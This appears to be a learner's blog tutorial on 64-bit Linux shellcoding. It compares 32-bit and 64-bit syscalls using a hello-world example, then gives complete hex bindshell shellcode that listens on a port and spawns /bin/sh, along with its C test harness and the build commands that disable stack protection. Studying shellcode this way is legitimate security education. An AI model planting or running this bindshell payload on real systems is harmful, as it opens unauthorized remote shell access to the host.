Here is a short write-up about my first steps about Linux (Kali in my case) 64bit shellcoding. Mostly as a reminder for myself, but maybe it helps some folks to save a little time.
Hello World
First I searched for two examples for a hello world shellcode for comparing them. I adjusted the examples:
Get hello64.asm and hello32.asm.
Here you can see that there a three differences:
– The registers are different. 64bit registers used here are rax, rdi, rsi and rdx, which are the 64bit registers
– The syscall numbers are different and they have nothing in common.
– The syscalls are executed with syscall instead of int 0x80.
Here are 32bit syscalls and here the is the 64bit version.
A short article the helped me can be found here.
Build the 32bit version:
# nasm -f elf hello.asm # ld -melf_i386 hello.o -o hello # ./hello Hello, World! # objdump -d hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"
Here is the c program:
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
For compiling the 32bit version with Kali Linux 64bit I needed to install 32bit versions of c libs:
apt-get install g++-multilib libc6-dev-i386
And compile it with:
# gcc -m32 -fno-stack-protector -z execstack hello.c # ./a.out Shellcode Length: 44 Hello, World!
Build the 64bit version:
# nasm -felf64 hello64.asm -o hello64.o # ld hello64.o -o hello64 # ./hello64 Hello, World! # objdump -d hello64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"
64bit c code:
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Compile:
# gcc -fno-stack-protector -z execstack hello64.c # ./a.out Shellcode Length: 52 Hello, World!
Bindshell
The second example I looked at was a bindshell. For that I took the example from me for the SLEA certification, that can be found here. I looked for a 64bit example and found it here and make it fit.
Here are the two examples in comparison, well parts of it:
Another difference that you can see here is how for example socket() or bind() are called. The socketcall is not needed anymore. Of course the 64bit registers are can keep more data:
The full example for the 64bit bindshell can be found here.
Here is the corresponding c program:
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; main() { (*(void (*)()) code)(); }
For compiling & linking the asm:
# nasm -felf64 bindshellcodeds64.asm -o bindshellcodeds64.o # ld bindshellcodeds64.o -o bindshellcodeds64 # objdump -d bindshellcodeds64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
When dumping the shellcode I encountered a problem which I described in an earlier blog post.
Leave a Reply